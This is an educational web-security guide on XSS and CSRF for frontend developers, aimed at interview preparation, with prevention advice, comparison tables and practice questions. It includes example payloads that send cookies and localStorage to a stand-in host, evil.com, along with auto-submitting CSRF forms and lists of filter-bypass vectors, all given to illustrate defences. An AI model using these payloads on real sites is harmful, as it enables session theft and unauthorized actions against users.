XSS & CSRF Basics
The two most common web security vulnerabilities every frontend developer must understand. XSS injects malicious scripts into your app. CSRF tricks the browser into making unauthorized requests. Both can compromise every user's account if left unprotected.
Table of Contents
Overview
XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) are the two most common security vulnerabilities in web applications. XSS allows an attacker to inject malicious JavaScript that runs in a victim's browser — stealing tokens, hijacking sessions, or defacing the UI. CSRF tricks the victim's browser into making authenticated requests the user never intended.
They attack from different angles: XSS exploits the trust a user has in a website (the site serves malicious code). CSRF exploits the trust a website has in the user's browser (the browser sends cookies automatically). Understanding both — and how to prevent them — is non-negotiable for frontend developers.
In interviews, security questions separate senior candidates from juniors. "How would you prevent XSS in your app?" and "Explain CSRF and how SameSite cookies help" are common questions that test real-world understanding, not textbook definitions.
Why frontend developers must care
Security isn't just a backend concern. XSS is a frontend vulnerability — it happens because the frontend renders untrusted data. CSRF succeeds because the frontend uses cookies for authentication. Both are prevented (or caused) by frontend decisions.
The Problem: Web Security Risks
Web applications are uniquely vulnerable because they run untrusted code (JavaScript) in a trusted environment (the user's browser with their cookies and credentials).
The browser is a hostile environment: 1. USER INPUT IS EVERYWHERE Forms, URLs, query params, headers, file uploads. Any input that reaches the DOM without sanitization is a potential XSS vector. 2. JAVASCRIPT HAS FULL ACCESS A script running on your page can: • Read document.cookie (steal session tokens) • Read localStorage (steal JWTs) • Make fetch() requests as the user • Modify the DOM (fake login forms) • Capture keystrokes (steal passwords) 3. COOKIES ARE SENT AUTOMATICALLY The browser attaches cookies to EVERY request to a domain — even requests triggered by other sites. This is what makes CSRF possible. 4. THIRD-PARTY CODE Analytics, ads, chat widgets, CDN scripts — any compromised dependency can attack your users. Attack surface: ┌─────────────────────────────────────────────┐ │ User Input → [Your App] → DOM │ │ ↑ ↑ ↑ │ │ XSS XSS XSS │ │ │ │ Other Site → [Browser] → Your API │ │ ↑ ↑ ↑ │ │ CSRF Cookies CSRF │ └─────────────────────────────────────────────┘
Trust Boundary
Everything from the user (input, URLs, uploads) and from third parties (scripts, APIs) is untrusted. Your app must validate and sanitize at every boundary.
Browser as Attack Vector
The browser executes any JavaScript on the page and sends cookies automatically. Attackers exploit these browser behaviors — they don't need to hack your server.
Defense in Depth
No single defense is enough. Combine input sanitization, CSP headers, HttpOnly cookies, SameSite flags, and CSRF tokens. Each layer catches what others miss.
The fundamental rule
Never trust user input. Never trust the browser. Validate on the server, sanitize on the client, and use every browser security feature available (CSP, HttpOnly, SameSite, Secure). Security is about making attacks harder at every step.
What is XSS?
Cross-Site Scripting (XSS) is an attack where malicious JavaScript is injected into a web application and executed in a victim's browser. The attacker doesn't hack the server — they trick the application into serving their script as if it were legitimate content.
Normal flow: User types "Alice" → App displays "Hello, Alice" XSS attack: Attacker types: <script>document.location='https://evil.com/steal?c='+document.cookie</script> App displays: Hello, <script>...</script> Browser executes the script → cookies sent to attacker The app treated the input as HTML instead of text. The browser can't tell the difference between the app's legitimate scripts and the attacker's injected script. Result: attacker has the user's session cookie and can impersonate them on the site.
// ❌ VULNERABLE: Inserting user input as HTML function Comment({ text }) { return <div dangerouslySetInnerHTML={{ __html: text }} />; } // If text = "<img src=x onerror='fetch("https://evil.com/steal?c="+document.cookie)'>" // The browser loads the broken image, triggers onerror, // and executes the attacker's JavaScript. // ❌ VULNERABLE: Vanilla JS with innerHTML document.getElementById("output").innerHTML = userInput; // ✅ SAFE: React auto-escapes by default function Comment({ text }) { return <div>{text}</div>; // React escapes the text: <script> becomes <script> // The browser displays it as text, not as HTML. } // ✅ SAFE: Vanilla JS with textContent document.getElementById("output").textContent = userInput;
React protects you — mostly
React auto-escapes all values rendered in JSX. {userInput} is safe because React converts special characters to HTML entities. The danger is dangerouslySetInnerHTML, which bypasses this protection. The name is a warning — use it only with sanitized content.
Types of XSS
XSS comes in three flavors, each with a different injection and execution mechanism.
| Type | How It Works | Persistence | Example |
|---|---|---|---|
| Stored XSS | Malicious script is saved in the database (comment, profile, post) and served to every user who views it | Permanent — affects all users | Attacker posts a comment with a script tag. Every user who views the comment executes the script. |
| Reflected XSS | Malicious script is embedded in a URL. Server reflects it back in the response without sanitization | One-time — requires victim to click a crafted link | Attacker sends: site.com/search?q=<script>...</script>. Server renders the query in the page. |
| DOM-based XSS | Malicious script is injected via client-side JavaScript that reads from URL/input and writes to DOM | One-time — requires victim to visit a crafted URL | JS reads location.hash and inserts it into innerHTML without sanitization. |
── Stored XSS ───────────────────────────────────── Attacker submits a forum post: "Great article! <script>fetch('https://evil.com/steal?c='+document.cookie)</script>" Server saves it to the database. Every user who views the post executes the script. → Most dangerous: affects ALL users, persists forever. ── Reflected XSS ────────────────────────────────── Attacker crafts a URL: https://shop.com/search?q=<script>alert('XSS')</script> Server renders: "Results for: <script>alert('XSS')</script>" Victim clicks the link → script executes in their browser. → Requires social engineering (phishing email with the link). ── DOM-based XSS ────────────────────────────────── Page has JavaScript: document.getElementById("greeting").innerHTML = "Hello, " + new URLSearchParams(location.search).get("name"); Attacker crafts: https://app.com?name=<img src=x onerror=alert('XSS')> Client-side JS inserts it into the DOM → script executes. → Server never sees the payload — it's entirely client-side.
Stored XSS is the most dangerous
Stored XSS is a "fire and forget" attack — the attacker injects once, and every user who views the content is compromised. Reflected and DOM-based XSS require the victim to click a crafted link. In interviews, always mention stored XSS as the highest-severity variant.
How XSS Works
Understanding the attack flow helps you identify where defenses should be placed. Every XSS attack follows the same fundamental pattern.
Attacker finds an injection point
Any place where user input is rendered in the page: comment fields, search bars, profile names, URL parameters, file uploads. The attacker tests inputs to see if the app renders them as HTML.
Attacker crafts a malicious payload
The payload is JavaScript disguised as user input. It could be a <script> tag, an <img> with an onerror handler, an SVG with embedded JS, or an event handler attribute.
Payload reaches the DOM
The app inserts the attacker's input into the page without sanitization. The browser can't distinguish between the app's legitimate code and the injected script.
Browser executes the script
The malicious JavaScript runs with full access to the page: it can read cookies, access localStorage, make API calls as the user, modify the DOM, or redirect to a phishing site.
Attacker achieves their goal
The script exfiltrates the session token to the attacker's server, or performs actions on behalf of the user (transfer money, change password, post content).
1. Attacker posts a comment on a forum: "Nice post! <script> fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, localStorage: JSON.stringify(localStorage), url: window.location.href }) }); </script>" 2. Server saves the comment to the database (no sanitization). 3. Victim visits the forum page. Browser renders: <div class="comment"> Nice post! <script>fetch('https://evil.com/collect', ...)</script> </div> 4. Browser executes the script. Attacker receives: { cookies: "session_id=abc123; csrf_token=xyz789", localStorage: '{"jwt":"eyJhbGciOiJIUzI1NiJ9..."}', url: "https://forum.com/post/42" } 5. Attacker uses the stolen session/JWT to: • Log in as the victim • Access their account, data, and actions • The victim never knows it happened
XSS payloads are creative
Attackers don't just use <script> tags. They use <img onerror=...>, <svg onload=...>, javascript: URLs, CSS expressions, and dozens of other vectors. Simple blocklisting ("filter out script tags") is never enough — you must escape or sanitize all output.
Impact of XSS
XSS is consistently ranked in the OWASP Top 10 because its impact is severe. A single XSS vulnerability can compromise every user of the application.
Token Theft
The script reads document.cookie or localStorage to steal session tokens and JWTs. The attacker can impersonate the user from any device, anywhere in the world.
Session Hijacking
With the stolen session cookie, the attacker makes API calls as the user: view private data, change settings, make purchases, transfer money.
Keylogging
The script adds event listeners to capture every keystroke on the page — passwords, credit card numbers, personal messages. All sent to the attacker's server.
Phishing / UI Defacement
The script modifies the DOM to show a fake login form. The user thinks they've been logged out, enters credentials, and the attacker captures them.
Once malicious JavaScript executes in the victim's browser: READ: ✗ document.cookie → steal session tokens ✗ localStorage → steal JWTs, user data ✗ sessionStorage → steal tab-scoped tokens ✗ DOM content → read private page data WRITE: ✗ Modify the DOM → fake login forms, fake content ✗ Redirect the page → send user to phishing site ✗ Add event listeners → capture keystrokes, clicks SEND: ✗ fetch() / XMLHttpRequest → make API calls as the user ✗ new Image().src → exfiltrate data via image request ✗ WebSocket → establish persistent connection The script runs with the SAME privileges as the app's own code. The browser cannot tell the difference.
HttpOnly cookies limit the damage
If auth tokens are stored in HttpOnly cookies, XSS cannot read them via document.cookie. The attacker can still make API calls from the page (the browser sends cookies automatically), but they can't exfiltrate the token to use from another machine. This is why HttpOnly cookies are recommended for auth tokens.
Preventing XSS
XSS prevention is about ensuring that user input is never treated as executable code. Multiple layers of defense work together.
Output encoding / escaping
Convert special characters to HTML entities before rendering. < becomes <, > becomes >, " becomes ". The browser displays them as text, not as HTML. React does this automatically for JSX expressions.
Avoid dangerous APIs
Never use innerHTML, dangerouslySetInnerHTML, document.write(), or eval() with user input. Use textContent, React's JSX expressions, or DOM APIs that treat input as text.
Sanitize when HTML is required
If you must render user-provided HTML (rich text editor, markdown), use a sanitization library like DOMPurify. It strips dangerous elements (script, onerror) while keeping safe HTML (p, strong, em).
Content Security Policy (CSP)
CSP is an HTTP header that tells the browser which scripts are allowed to execute. It blocks inline scripts, eval(), and scripts from unauthorized domains — even if XSS injection succeeds.
HttpOnly cookies for auth tokens
Store auth tokens in HttpOnly cookies so JavaScript can't read them. Even if XSS executes, the attacker can't exfiltrate the token. They can still make requests from the page, but can't steal the session.
// ✅ React auto-escaping (safe by default) function Comment({ text }) { return <p>{text}</p>; // "<script>alert('xss')</script>" renders as visible text } // ❌ Bypassing React's protection function Comment({ html }) { return <div dangerouslySetInnerHTML={{ __html: html }} />; // ONLY use with sanitized content! } // ✅ Sanitize when HTML is needed import DOMPurify from "dompurify"; function RichContent({ html }) { const clean = DOMPurify.sanitize(html, { ALLOWED_TAGS: ["p", "strong", "em", "a", "ul", "li"], ALLOWED_ATTR: ["href"], }); return <div dangerouslySetInnerHTML={{ __html: clean }} />; } // ✅ Content Security Policy header // Set by the server (or meta tag): // Content-Security-Policy: default-src 'self'; // script-src 'self' https://cdn.example.com; // style-src 'self' 'unsafe-inline'; // img-src *; // // This blocks: // • Inline <script> tags (XSS payloads) // • eval() and new Function() // • Scripts from unauthorized domains // • Even if XSS injection succeeds, CSP prevents execution
Defense in depth
No single defense is perfect. React's auto-escaping prevents most XSS, but dangerouslySetInnerHTML bypasses it. DOMPurify sanitizes HTML, but a misconfiguration can miss vectors. CSP blocks inline scripts, but doesn't help if the attacker uses an allowed domain. Layer all defenses together.
What is CSRF?
Cross-Site Request Forgery (CSRF) is an attack where a malicious website tricks the victim's browser into making an authenticated request to another site. The attacker never sees the victim's credentials — they exploit the fact that the browser sends cookies automatically.
Normal flow: User is logged into bank.com (session cookie is set) User clicks "Transfer $100 to Bob" on bank.com Browser sends: POST /transfer { to: "Bob", amount: 100 } + Cookie: session_id=abc123 (sent automatically) Bank processes the transfer. CSRF attack: User is logged into bank.com (session cookie is set) User visits evil.com (attacker's site) evil.com contains a hidden form: <form action="https://bank.com/transfer" method="POST"> <input name="to" value="attacker" /> <input name="amount" value="10000" /> </form> <script>document.forms[0].submit()</script> Browser sends: POST /transfer { to: "attacker", amount: 10000 } + Cookie: session_id=abc123 (sent automatically!) Bank sees a valid session cookie → processes the transfer. The user never intended this. The attacker never saw the cookie. The browser just... sent it. Because that's what browsers do.
Exploits Browser Behavior
Browsers attach cookies to every request to a domain — even requests triggered by other sites. CSRF exploits this automatic cookie inclusion to make authenticated requests.
Attacker Never Sees the Token
Unlike XSS, the attacker doesn't steal the session cookie. They trick the browser into using it. The cookie is sent but never exposed to the attacker's code.
CSRF only works with cookies
CSRF exploits automatic cookie sending. If your app uses Bearer tokens in the Authorization header (from localStorage or memory), CSRF is not possible — the attacker's page can't set custom headers on cross-origin requests. This is one advantage of token-based auth over cookie-based auth.
How CSRF Works
CSRF attacks follow a specific pattern. Understanding each step reveals where defenses should be placed.
User authenticates with the target site
The user logs into bank.com. The server sets a session cookie: Set-Cookie: session_id=abc123. The browser stores this cookie and will send it with every future request to bank.com.
User visits the attacker's site
While still logged into bank.com, the user visits evil.com (via a phishing email, ad, or compromised site). The user doesn't need to do anything special — just loading the page is enough.
Attacker's page triggers a cross-site request
evil.com contains a hidden form, image tag, or JavaScript that sends a request to bank.com. The request looks legitimate — it's a normal POST to a real endpoint.
Browser attaches cookies automatically
The browser sees a request to bank.com and automatically includes the session_id cookie. It doesn't care that the request originated from evil.com — cookies are attached based on the destination domain.
Server processes the authenticated request
bank.com receives the request with a valid session cookie. It has no way to know the request came from evil.com instead of its own page. It processes the transfer.
── Hidden Form (POST request) ───────────────────── <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker" /> <input type="hidden" name="amount" value="10000" /> </form> <script>document.forms[0].submit();</script> ── Image Tag (GET request) ──────────────────────── <img src="https://bank.com/transfer?to=attacker&amount=10000" /> (Only works if the server accepts GET for state-changing actions — which is a separate vulnerability) ── Fetch with credentials (limited by CORS) ─────── fetch("https://bank.com/transfer", { method: "POST", credentials: "include", // sends cookies body: JSON.stringify({ to: "attacker", amount: 10000 }), }); // CORS blocks this unless bank.com explicitly allows evil.com // But form submissions bypass CORS — that's the main vector ── Auto-submitting link ─────────────────────────── <a href="https://bank.com/delete-account">Click for free prize!</a> (Only works for GET-based state changes — bad API design)
Forms bypass CORS
CORS (Cross-Origin Resource Sharing) blocks cross-origin fetch/XHR requests. But HTML form submissions are NOT blocked by CORS — they predate CORS and are allowed by default. This is why CSRF primarily uses hidden forms. The browser sends the form POST with cookies, and CORS doesn't intervene.
Preventing CSRF
CSRF prevention focuses on ensuring that requests to your server actually originated from your own site, not from an attacker's page.
SameSite cookies (primary defense)
Set SameSite=Strict or SameSite=Lax on session cookies. Strict: cookie is never sent on cross-site requests. Lax: cookie is sent on top-level navigations (links) but not on cross-site form submissions or fetch requests.
CSRF tokens (traditional defense)
Server generates a unique, unpredictable token per session. The token is embedded in forms and sent as a custom header. The server validates the token on every state-changing request. Attackers can't guess or obtain the token.
Check Origin / Referer headers
The server checks the Origin or Referer header on incoming requests. If the request came from a different domain, reject it. Not foolproof (headers can be stripped) but adds a layer.
Use non-cookie authentication
If the auth token is sent in the Authorization header (Bearer token from memory/localStorage), CSRF is impossible — the attacker's page can't set custom headers on cross-origin requests.
── SameSite Cookie (simplest, most effective) ───── Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict; ← cookie NOT sent on cross-site requests evil.com submits form to bank.com → browser does NOT include the session cookie → request is unauthenticated → rejected. SameSite=Lax: cookie sent on top-level navigations (clicking a link to bank.com) but NOT on form submissions or fetch. Good balance of security and usability. ── CSRF Token Pattern ───────────────────────────── 1. Server generates a random token per session: csrfToken = "x7k9m2p4..." 2. Token is embedded in the page (meta tag or cookie): <meta name="csrf-token" content="x7k9m2p4..." /> 3. Client sends token with every state-changing request: fetch("/api/transfer", { method: "POST", headers: { "X-CSRF-Token": csrfToken }, body: JSON.stringify({ to: "Bob", amount: 100 }), }); 4. Server validates: does the token in the header match the token in the session? If not → reject. Why it works: evil.com can submit a form to bank.com, but it CANNOT read bank.com's page to get the CSRF token, and it CANNOT set custom headers on cross-origin requests. ── Origin Header Check ──────────────────────────── Server checks: request.headers.origin === "https://bank.com" If origin is "https://evil.com" → reject. Simple but not sufficient alone (Origin can be absent).
SameSite=Lax is the modern default
Modern browsers default to SameSite=Lax for cookies that don't specify a SameSite attribute. This means most new applications are partially protected against CSRF by default. But explicitly setting SameSite=Strict and adding CSRF tokens provides the strongest protection.
XSS vs CSRF
XSS and CSRF are often confused because both are cross-site attacks. But they work in fundamentally different ways and require different defenses.
| Dimension | XSS | CSRF |
|---|---|---|
| What it does | Injects and executes malicious JavaScript in the victim's browser | Tricks the browser into making an authenticated request the user didn't intend |
| Exploits trust of | User trusts the website (site serves malicious code) | Website trusts the browser (browser sends cookies automatically) |
| Steals tokens? | Yes — reads cookies, localStorage, DOM | No — uses cookies in-place without reading them |
| Requires | Injection point (unsanitized user input rendered in DOM) | Authenticated session with cookie-based auth |
| Attack origin | Runs ON the target site (injected into the page) | Runs FROM a different site (cross-origin request) |
| Prevention | Output encoding, CSP, DOMPurify, avoid innerHTML | SameSite cookies, CSRF tokens, Origin header check |
| HttpOnly cookies help? | Yes — script can't read the cookie | No — cookie is still sent automatically |
| SameSite cookies help? | No — XSS runs on the same site | Yes — blocks cross-site cookie sending |
XSS: Attacker's code runs ON your site → The script IS on bank.com (injected) → It can read cookies, localStorage, DOM → It can do anything the user can do → Defense: prevent script injection (sanitize, CSP) CSRF: Attacker's code runs on THEIR site → The request comes FROM evil.com TO bank.com → The attacker never sees the cookie → They can only trigger pre-defined actions (form submit) → Defense: verify request origin (SameSite, CSRF token) Think of it this way: XSS = someone breaks INTO your house and steals your keys CSRF = someone tricks you into unlocking your door from outside
XSS can enable CSRF
If an attacker achieves XSS on your site, they can bypass all CSRF protections — the script runs on the same origin, so it can read CSRF tokens from the page and include them in requests. This is why XSS prevention is the higher priority: XSS breaks CSRF defenses, but CSRF doesn't break XSS defenses.
Real-World Example
Let's walk through both attacks against a banking application to see how they work in practice and how defenses stop them.
── XSS Attack: Stealing the Session ─────────────── The banking app has a "notes" feature where users can save personal notes. The notes are rendered with innerHTML. 1. Attacker creates an account and saves a "note": <img src=x onerror=" new Image().src='https://evil.com/steal?c='+document.cookie "> 2. A bank employee views the attacker's account (support tool). The note renders → onerror fires → cookie is sent to evil.com. 3. Attacker now has the employee's admin session cookie. They log in as the admin and access all customer accounts. DEFENSE: ✅ Sanitize notes with DOMPurify before rendering ✅ Use textContent instead of innerHTML ✅ Set CSP header to block inline scripts ✅ Store admin session in HttpOnly cookie (can't be read by JS) ── CSRF Attack: Unauthorized Transfer ───────────── 1. User is logged into bank.com (session cookie is set). 2. User receives a phishing email: "View your statement" Link goes to evil.com/statement.html 3. evil.com contains: <form action="https://bank.com/api/transfer" method="POST"> <input name="to" value="attacker-account" /> <input name="amount" value="5000" /> </form> <script>document.forms[0].submit();</script> 4. Browser sends the form to bank.com WITH the session cookie. Bank processes the $5,000 transfer to the attacker. DEFENSE: ✅ Set SameSite=Strict on session cookie → Browser won't send cookie from evil.com's form ✅ Require CSRF token in X-CSRF-Token header → Form submission can't set custom headers ✅ Check Origin header on the server → Reject requests from non-bank.com origins
| XSS Attack | CSRF Attack | |
|---|---|---|
| Attack vector | Malicious note rendered as HTML | Hidden form on evil.com |
| What attacker gets | Admin session cookie (full access) | One unauthorized transfer |
| User interaction | None (just viewing the page) | Clicking a phishing link |
| Token stolen? | Yes — cookie exfiltrated to evil.com | No — cookie used in-place |
| Primary defense | Sanitize output + CSP + HttpOnly | SameSite cookie + CSRF token |
XSS is usually worse
In this example, XSS gave the attacker full admin access (they stole the session). CSRF only triggered one transfer. XSS is generally higher severity because the attacker can do anything the victim can do, while CSRF is limited to pre-defined actions (form submissions).
Security Best Practices
A comprehensive security posture combines multiple defenses. Here are the practices every frontend application should implement.
Never Trust User Input
Validate on the server, sanitize on the client. Every input — form fields, URL params, headers, file uploads — is a potential attack vector. Treat all input as hostile.
Use HttpOnly + Secure + SameSite Cookies
HttpOnly prevents XSS from reading cookies. Secure ensures HTTPS-only transmission. SameSite prevents CSRF. Always set all three flags on auth cookies.
Implement Content Security Policy
CSP headers tell the browser which scripts, styles, and resources are allowed. Block inline scripts, eval(), and unauthorized domains. Even if XSS injection succeeds, CSP prevents execution.
Keep Dependencies Updated
Third-party packages are a major attack vector. A compromised npm package can inject XSS into your app. Use npm audit, Dependabot, and lock files to catch vulnerabilities early.
Essential HTTP headers for frontend security: Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' https:; connect-src 'self' https://api.example.com; → Blocks inline scripts, eval(), unauthorized script sources X-Content-Type-Options: nosniff → Prevents browser from MIME-sniffing (treating text as script) X-Frame-Options: DENY → Prevents your site from being embedded in iframes (clickjacking) Strict-Transport-Security: max-age=31536000; includeSubDomains → Forces HTTPS for all future requests (HSTS) Referrer-Policy: strict-origin-when-cross-origin → Controls how much URL info is sent in Referer header Permissions-Policy: camera=(), microphone=(), geolocation=() → Disables browser APIs you don't need
Security is a spectrum
You can't make an app 100% secure. The goal is to make attacks expensive and difficult. Each defense layer (sanitization, CSP, HttpOnly, SameSite, CSRF tokens) raises the bar. An attacker must bypass ALL layers to succeed.
Common Mistakes
These mistakes are found in production applications every day. Each one is a real vulnerability waiting to be exploited.
Using innerHTML with user input
Rendering user-provided content with innerHTML or dangerouslySetInnerHTML without sanitization. This is the #1 cause of XSS in modern web apps.
✅Use textContent or React's JSX expressions (auto-escaped). If HTML is required, sanitize with DOMPurify before rendering. Never trust raw user HTML.
Storing tokens in localStorage without XSS protection
Putting JWTs in localStorage with no CSP, no input sanitization, and third-party scripts loaded. One XSS vulnerability exposes every user's token.
✅Use HttpOnly cookies for auth tokens. If localStorage is necessary, enforce strict CSP, sanitize all inputs, and keep tokens short-lived.
No CSRF protection on state-changing endpoints
POST/PUT/DELETE endpoints that rely solely on session cookies for authentication. Any site can submit a form to these endpoints with the user's cookies.
✅Set SameSite=Strict on session cookies. Add CSRF token validation on all state-changing endpoints. Check the Origin header as an additional layer.
Blocklist-based XSS filtering
Filtering out <script> tags but allowing other vectors like <img onerror=...>, <svg onload=...>, javascript: URLs, and CSS expressions. Attackers have hundreds of bypass techniques.
✅Use allowlist-based sanitization (DOMPurify with ALLOWED_TAGS). Or better: escape all output by default (React does this) and only allow HTML through a sanitizer when explicitly needed.
Missing HttpOnly flag on session cookies
Session cookies readable by JavaScript. Any XSS vulnerability allows the attacker to steal the session and use it from their own machine.
✅Always set HttpOnly on auth cookies. The cookie is still sent with requests (authentication works), but JavaScript can't read it (XSS can't steal it).
No Content Security Policy
Running without CSP headers. Even if you sanitize inputs, a compromised third-party script or a missed injection point can execute arbitrary JavaScript.
✅Implement CSP headers. Start with a report-only policy to identify violations, then enforce. Block inline scripts, eval(), and unauthorized script sources.
Interview Questions
Security questions are common in senior frontend interviews. Strong answers explain the attack mechanism, impact, and prevention — not just definitions.
Q:What is XSS and how do you prevent it?
A: XSS (Cross-Site Scripting) is an attack where malicious JavaScript is injected into a web page and executed in the victim's browser. It can steal cookies, hijack sessions, and perform actions as the user. Prevention: (1) Output encoding — escape special characters (React does this by default). (2) Avoid innerHTML/dangerouslySetInnerHTML with user input. (3) Use DOMPurify when HTML rendering is required. (4) Implement CSP headers to block inline scripts. (5) Store auth tokens in HttpOnly cookies.
Q:What is the difference between XSS and CSRF?
A: XSS injects malicious code INTO your site — the script runs on your domain with full access to cookies, localStorage, and DOM. CSRF tricks the browser into sending a request FROM another site — the attacker's page submits a form to your API, and the browser includes cookies automatically. XSS steals tokens; CSRF uses them in-place. XSS is prevented by sanitization and CSP; CSRF is prevented by SameSite cookies and CSRF tokens.
Q:How does CSRF work and how do SameSite cookies prevent it?
A: CSRF works because browsers send cookies with every request to a domain, regardless of which site initiated the request. An attacker's page can submit a form to bank.com, and the browser includes the session cookie. SameSite=Strict prevents this: the browser only sends the cookie if the request originates from the same site. SameSite=Lax allows cookies on top-level navigations (clicking links) but blocks them on cross-site form submissions and fetch requests.
Q:What are the three types of XSS?
A: Stored XSS: malicious script is saved in the database (comment, profile) and served to every user who views it — most dangerous, affects all users. Reflected XSS: script is embedded in a URL and reflected back by the server without sanitization — requires victim to click a crafted link. DOM-based XSS: client-side JavaScript reads from URL/input and inserts into the DOM without sanitization — entirely client-side, server never sees the payload.
Q:Why is React relatively safe from XSS?
A: React auto-escapes all values rendered in JSX expressions. When you write {userInput}, React converts < to <, > to >, etc. The browser displays them as text, not HTML. The main XSS risk in React is dangerouslySetInnerHTML, which bypasses this protection. Other risks: href attributes with javascript: URLs, and server-side rendering that doesn't escape properly.
Q:What is Content Security Policy (CSP)?
A: CSP is an HTTP header that tells the browser which resources (scripts, styles, images) are allowed to load and execute. It blocks inline scripts (the most common XSS vector), eval(), and scripts from unauthorized domains. Even if an attacker injects a <script> tag via XSS, CSP prevents the browser from executing it. CSP is a defense-in-depth layer — it catches XSS that bypasses sanitization.
Q:Can XSS bypass CSRF protections?
A: Yes. If an attacker achieves XSS on your site, they can read CSRF tokens from the page (they're in the DOM or meta tags), read SameSite cookies (the script runs on the same origin), and make authenticated requests with all protections included. This is why XSS prevention is the higher priority — XSS breaks CSRF defenses. CSRF protections assume the attacker is on a different origin.
Q:How would you secure a form that accepts user-generated HTML (like a rich text editor)?
A: Use an allowlist-based sanitizer like DOMPurify. Configure it to allow only safe tags (p, strong, em, a, ul, li) and safe attributes (href, class). Strip everything else — script tags, event handlers (onerror, onload), javascript: URLs, style attributes. Sanitize on both client (before rendering) and server (before storing). Add CSP headers as a backup. Never render raw user HTML without sanitization.
Practice Section
These scenarios test your ability to identify vulnerabilities and apply the right defenses — exactly what security-focused interviews assess.
A social media app lets users set a custom 'bio' that's displayed on their profile. The bio is rendered using dangerouslySetInnerHTML to support bold and italic formatting. No sanitization is applied.
What vulnerability exists and how would you fix it?
Answer: This is a Stored XSS vulnerability. An attacker can set their bio to an img tag with an onerror handler, and every user who views their profile executes the script. Fix: sanitize the bio with DOMPurify before rendering, allowing only safe tags (p, strong, em). Better: use a structured format (Markdown) and render it with a safe Markdown library instead of raw HTML. Add CSP headers to block inline scripts as a backup.
An e-commerce site uses session cookies for authentication (no SameSite attribute set, no CSRF tokens). The 'Add to Cart' and 'Place Order' endpoints accept POST requests with just the session cookie for auth.
How could an attacker exploit this, and what defenses would you add?
Answer: CSRF attack: an attacker creates a page with a hidden form that POSTs to the 'Place Order' endpoint. When a logged-in user visits the attacker's page, the browser submits the form with the session cookie, placing an order the user didn't intend. Defenses: (1) Set SameSite=Strict on the session cookie. (2) Add CSRF token validation — server generates a token, client sends it in a custom header (X-CSRF-Token), server validates it. (3) Check the Origin header on all POST requests.
A search page displays the search query in the results: 'Results for: [query]'. The query comes from the URL parameter (?q=...) and is inserted into the page using document.getElementById('results-title').innerHTML = query.
What type of XSS is this, and how do you fix it?
Answer: This is DOM-based XSS (or Reflected XSS if the server also renders the query). An attacker crafts a URL: site.com/search?q=<script>alert('xss')</script> and sends it to a victim. Fix: use textContent instead of innerHTML — it treats the input as text, not HTML. In React, use JSX expressions: <h1>Results for: {query}</h1> (auto-escaped). Also validate/sanitize the query parameter on the server side.
Your app stores JWTs in localStorage and sends them in the Authorization header. A security auditor says this is vulnerable. Your team argues that since you don't use cookies, CSRF is impossible.
Is the team correct about CSRF? What vulnerability remains?
Answer: The team is correct that CSRF is impossible — CSRF exploits automatic cookie sending, and Authorization headers are not sent automatically. However, the app is vulnerable to XSS token theft. Any XSS vulnerability allows the attacker to read localStorage.getItem('jwt') and exfiltrate the token. Fix: move the JWT to an HttpOnly cookie (XSS can't read it). If localStorage is required, enforce strict CSP, sanitize all inputs, and keep tokens short-lived (5-15 min).
A developer implements XSS protection by filtering out the string '<script>' from all user inputs before saving to the database. They believe this prevents XSS.
Why is this insufficient, and what should they do instead?
Answer: Blocklist filtering is trivially bypassed. Attackers use: <img onerror=...>, <svg onload=...>, <body onload=...>, <input onfocus=... autofocus>, javascript: URLs, mixed case (<ScRiPt>), encoding tricks, and dozens more vectors. The correct approach: (1) Output encoding — escape all special characters when rendering (React does this). (2) If HTML is needed, use allowlist-based sanitization (DOMPurify) that only permits safe tags. (3) Add CSP headers. Never rely on blocklists.
Cheat Sheet
Quick-reference summary for interviews and security reviews.
Quick Revision Cheat Sheet
XSS: Attacker injects malicious JavaScript that runs in the victim's browser
CSRF: Attacker tricks the browser into making an authenticated request the user didn't intend
XSS exploits: Trust the user has in the website (site serves malicious code)
CSRF exploits: Trust the website has in the browser (browser sends cookies automatically)
XSS steals tokens?: Yes — reads cookies, localStorage, DOM
CSRF steals tokens?: No — uses cookies in-place without reading them
Stored XSS: Script saved in DB, served to all users — most dangerous
Reflected XSS: Script in URL, reflected by server — requires clicking a link
DOM-based XSS: Client-side JS inserts URL input into DOM — entirely client-side
Prevent XSS: Output encoding (React auto-escapes), DOMPurify, CSP, avoid innerHTML
Prevent CSRF: SameSite=Strict cookies, CSRF tokens, Origin header check
HttpOnly cookie: JS can't read it — prevents XSS token theft
SameSite=Strict: Cookie not sent on cross-site requests — prevents CSRF
CSP header: Blocks inline scripts, eval(), unauthorized script sources
XSS breaks CSRF defenses: Yes — XSS on same origin can read CSRF tokens and bypass SameSite
Rule #1: Never trust user input. Validate server-side, sanitize client-side.